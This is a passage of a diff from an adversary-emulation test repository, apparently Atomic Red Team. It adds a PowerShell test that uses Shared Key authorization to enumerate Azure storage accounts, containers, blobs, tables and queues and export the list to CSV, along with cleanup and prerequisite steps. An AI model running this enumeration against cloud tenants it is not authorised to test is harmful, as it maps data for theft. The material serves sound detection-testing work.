||||
QueueName = ""
|
||||
}
|
||||
}
|
||||
|
||||
$containers = az storage container list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
||||
foreach($container in $containers) {
|
||||
Write-Output "Found container: $($container)"
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = ""
|
||||
ContainerName = $container
|
||||
BlobName = ""
|
||||
TableName = ""
|
||||
QueueName = ""
|
||||
}
|
||||
|
||||
$blobs = az storage blob list --connection-string $connectionString --container-name $container --query "[].name" --output json | ConvertFrom-Json
|
||||
|
||||
foreach($blob in $blobs) {
|
||||
Write-Output "Found blob: $($blob)"
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = ""
|
||||
ContainerName = $container
|
||||
BlobName = $blob
|
||||
TableName = ""
|
||||
QueueName = ""
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$tables = az storage table list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
||||
foreach($table in $tables) {
|
||||
Write-Output "Found table: $($table)"
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = ""
|
||||
ContainerName = ""
|
||||
BlobName = ""
|
||||
TableName = $table
|
||||
QueueName = ""
|
||||
}
|
||||
}
|
||||
|
||||
$queues = az storage queue list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
|
||||
foreach($queue in $queues) {
|
||||
Write-Output "Found table: $($table)"
|
||||
$storageAccountObjects += [PSCustomObject]@{
|
||||
ResourceGroup = $account.resourceGroup
|
||||
StorageAccountName = $account.name
|
||||
FileShareName = ""
|
||||
ContainerName = ""
|
||||
BlobName = ""
|
||||
TableName = ""
|
||||
QueueName = $queue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Store file lists to csv file
|
||||
$storageAccountObjects | Export-Csv -Path "#{output_file}" -NoTypeInformation
|
||||
Write-Output "`nDownloaded storage account objects to #{output_file}"
|
||||
|
||||
# Print lists that have been stored as csv file
|
||||
$storageAccountObjects | Format-Table -Property ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName -AutoSize -Wrap
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```powershell
|
||||
Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
|
||||
Write-Output "Removed #{output_file}"
|
||||
```
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `powershell`!
|
||||
##### Description: Azure CLI must be installed
|
||||
##### Check Prereq Commands:
|
||||
```powershell
|
||||
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```powershell
|
||||
Install-Module -Name Az -Force
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -21,6 +21,7 @@ atomic_tests:
|
||||
name: sh
|
||||
elevation_required: false
|
||||
- name: Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI
|
||||
auto_generated_guid: 070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
||||
description: |-
|
||||
This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).
|
||||
|
||||
|
||||
@@ -1747,3 +1747,7 @@ b877943f-0377-44f4-8477-f79db7f07c4d
|
||||
3dd6a6cf-9c78-462c-bd75-e9b54fc8925b
|
||||
5e4fa70d-c789-470e-85e1-6992b92bb321
|
||||
2002f5ea-cd13-4c82-bf73-e46722e5dc5e
|
||||
67374845-b4c8-4204-adcc-9b217b65d4f1
|
||||
070322a4-2c60-4c50-8ffb-c450a34fe7bf
|
||||
9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
|
||||
67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
|
||||
|
||||
Reference in New Issue
Block a user